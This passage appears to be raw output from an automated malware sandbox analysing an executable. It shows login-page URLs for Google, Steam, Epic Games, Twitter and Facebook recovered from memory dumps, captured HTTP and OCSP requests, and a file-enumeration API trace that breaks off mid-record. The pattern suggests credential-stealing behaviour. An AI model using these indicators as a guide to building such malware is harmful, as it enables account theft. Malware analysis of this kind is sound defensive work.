"src.ax" Heuristic match: "oflc-nz.rs" Pattern match: "https://accounts.google.com" Pattern match: "http://www.windows.com/pctv" Pattern match: "http://go.microsoft.com/fwlink/?linkid=53081" Pattern match: "www.microsoft.com/extender/help" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=30564-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwl" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=70599" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=145837" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=57190" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=145765" Heuristic match: "Example: computer.fabrikam.com" Pattern match: "vista.gallery.microsoft.com/vista/SideShow.aspx" Pattern match: "http://www.icra.org/vocabulary/" Pattern match: "wmploc.dll/Offline_Buy.htm'res://wmploc.dll/Offline_MediaGuide.htm*res://wmploc.dll/Offline_Subscriptions.htm" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=32146res://wmploc.dll/ICW_ErrorPage.htm" Pattern match: "wmploc.dll/Service_Initial.htm" Pattern match: "wmploc.dll/Error_ServiceInfo.htm'res://wmploc.dll/Offline_InfoCenter.htm&res://wmploc.dll/Offline_AlbumInfo.htm" Pattern match: "wmploc.dll/Service_NoFunc.htm%res://wmploc.dll/Service_No_Local.htm" Pattern match: "wmploc.dll/RT_IMAGE/ServiceLarge.png*res://wmploc.dll/RT_IMAGE/ServiceSmall.png*res://wmploc.dll/RT_IMAGE/ServiceSmall.png" Pattern match: "wmploc.dll/Blocked_AlbumInfo.htm&res://wmploc.dll/Blocked_AlbumInfo.htm,http://go.microsoft.com/fwlink/?LinkId=70183'res://wmploc.dll/offline_radioguide.htm" Pattern match: "http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/" Pattern match: "redir.metaservices.microsoft.com/dvdcover/P" Pattern match: "http://redir.metaservices.microsoft.com/redir/buynow/" Pattern match: "http://windowsmedia.com/redir/findmedia.asp" Pattern match: "redir.metaservices.microsoft.com/redir/getmdrdvd/" Pattern match: "redir.metaservices.microsoft.com/redir/getmdrcd/?Bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?Ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=h" Pattern match: "redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/QueryTOCExt.asp1res://wmploc.dll/Offline_MediaInfo_NowPlaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=321507Optimized" Pattern match: "http://go.microsoft.com/fwlink/?linkid=8792" Pattern match: "http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/QueryTOCNP.asp#Show" Pattern match: "http://windowsmedia.com/redir/services.asp?WMPFriendly=true" Pattern match: "http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5" Pattern match: "http://www.w3.org/1999/XSL/Transform" Pattern match: "http://*.microsoft.co.jp" Pattern match: "http://microsoft.*.com" Pattern match: "www.treyresearch.net" Pattern match: "http://treyresearch.net" Heuristic match: "- fineartschool.net" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=226247" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=233329" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=228745" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=787651"66:T1813,Found URL "https://www.facebook.com/loginc:\0f78b956-909d-45b2-8b8d-2e5e1d522649-ms-winclsid\" - Source: "00000000-00003332.00000000.67120.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/+w" - Source: "00000000-00003332.00000000.67120.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/https://accounts.google.com/ttps://twitter.com/i/flow/login:\windows\system32\propsys.dlllocationnotificationsview.xmlttps://www.epicgames.com/id/loginnettrace.pla.diagnostics.xmlportabledeviceconnectapi.dllportabledevicewiacompat.dllecurity=impersonation" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://www.youtube.com/api-ms-win-core-rtlsupport-l1-1-0.dllapi-ms-win-core-sysinfo-l1-1-0.dllapi-ms-win-core-threadpool-l1-1-0.dllhttps://www.youtube.com/api-ms-win-crt-filesystem-l1-1-0.dllhttps://www.youtube.com/https://www.youtube.com/https://www.youtube.com/api-ms-win-security-sddl-l1-1-0.dllapi-ms-win-service-core-l1-1-0.dllapi-ms-win-service-winsvc-l1-1-0.dllauxiliarydisplayclassinstaller.dll:\windows\system32\api-ms-win-core-synch-l1-2-0.dllc:\users\hapubws\appdata\local\temp\ixp002.tmp\10io12so.exe\win:\windows\temp\vxssl32.dllommonprogramfiles=c:\program" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/:\users\hapubws\appdata\local\temp\ixp002.tmp\10io12so.exehttps://www.epicgames.com/id/login09d-45b2-8b8d-2e5e1d522649istry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classesieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-stringfileinfo040904b0companynamemicrosoft" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://twitter.com/i/flow/loginide" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/sersprofile=gramdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://www.epicgames.com/id/loginhttps://www.epicgames.com/id/logincountry.syscpfilters.dllcredssp.dllcredui.dlldwiz.execrtdll.dllcrypt3cryptbase.dllcryptdlg.dllcryptdll.dllcryptext.dllptnet.dllcryptsp.dllcryptsdcryptui.dllcryptxml.dllcscapi.dllcscdll.dllmig.dllcscobj.dllcscrip" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://store.steampowered.com/login/witter.combout:blankbout:blanklose" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/xt-ms-win-kernel32-package-current-l1-1-0.dll:\users\hapubws\appdata\local\temp\ixp002.tmpttps://steamcommunity.com/openid/loginform/:\program" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/:\program" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/https://accounts.google.com/https://accounts.google.com/:\program" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://accounts.google.com/sers\?\storage" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://www.epicgames.com/id/loginrsaenh.dllrshx32.dllrstrtmgr.dllrui.exertffilt.dllrtutils.dllrundll32.exerunonce.exerwinsta.exesamcli.dllsamlibsampleres.dllsamsrv.dllsberes.dllrddlg.dllscardsvr.dllscecli.dllscesrv.dllschannel.dllschedcli.dllschedsvc.dllschtas^scripto.dllscrnsave.scrscrobj.dllptadm.dllscrrun.dllsdbinst.exesdchange.exesdengin2.dllsdhcinst.dllsdiageng.dllsdiagpsdiagschd.dllsdohlp.dllsdrsvc.dllext.dllsecedit.exesechost.dllsecinit.exeseclogon.dllsecpol.mscsecproc.dllsecur3security.dllsendmail.dllsensapi.dllrsvc.dllserialui.dllservices.exeservices.mscserwvdrv.dllsessenv.dllsetspn.exesetupasetupcl.exesetupcln.dllsetupetw.dllpsnk.exesetupugc.exesetver.exesfc_os.dllshacct.dllshadow.exeshdocvw.dllshell3vshfolder.dllshgina.dllshiftjis.uceeng.dllshimgvw.dllshlwapi.dllshpafact.dllshrpubw.exeshsetup.dllshsvcs.dllshunimshutdown.exeshwebsvc.dllsigndrv.dllerif.exesimpdata.tlbsisbkup.dllslcext.dllsmiengine.dllsndvol.exesndvolsso.dllsnmpapsnmptrap.exesntsearch.dllsoftkbd.dllpub.dllspcmsg.dllsperror.dllspfileq.dllspinstall.exespoolss.dllspoolsv.exesppcexlsppcomapi.dllsppinst.dllsppobjs.dllvc.exesppwinob.dllsppwmi.dllspreview.exespwinsat.dllspwizeng.dllspwizimg.dllspwizrspwizui.dllsqlceqp30.dllsqlcese30.dllrv32.dllsqlsrv32.rllsqlunirl.dllsqlwid.dllsqlwoa.dllsqmapi.dllsr-latn-cssrchadsrclient.dllsrcore.dllsrdelayed.exelper.dllsrrstr.dllsrvcli.dllsrvsvc.dllsscore.dllssdpapi.dllssdpsrv.dllsspicl*sspisrv.dllssshim.dllsstext3d.scrsvc.dllstclient.dllstdole2.tlbstdole32.tlbstikynot.exesti_ci.dllstobject.dllstoragdstorprop.dllstorsvc.dllstreamci.dllange.ucesvchost.exesxproxy.dllsxshared.dllsxssrv.dllsxsstore.dllsxstrace.exesyncensynchost.exesyncreg.dllsyncui.dlllass.dllsysedit.exesysfxui.dllsyskey.exesysmain.dllsysmon.ocxsysntfy.dllsysprint.sepsysprtj.sep\\?\ide" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://accounts.google.comregistry\user\s-1-5-21-2092356043-4041700817-663127204-1001c:\program" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found URL "https://www.youtube.com/??\c:\0f78b956-909d-45b2-8b8d-2e5e1d522649package-current-l1-1-0.dllle.com\0.7601.18837_none_41e855142bd5705dc:\users\hapubws\appdata\local\temp\ixp002.tmphttps://accounts.google.com/+w" - Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp")67:T4e3,file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Fri, 10 Nov 2023 11:41:40 GMTExpires: Sat, 09 Nov 2024 11:41:40 GMTAge: 98823Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: twitter.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL")68:T2d9e,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEATh56TcXPL" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEAx5qUSwjBG" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrj" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdi" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "uNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0B" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnx" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffH" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk4" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "5WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6q" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"69:T4a2,"0c12cd0538bea9f88b40d52cf438f139.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindNextFileW" with parameter 13Ef605.exe (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindNextFileW" with parameter bJ1qg86.exe (UID: 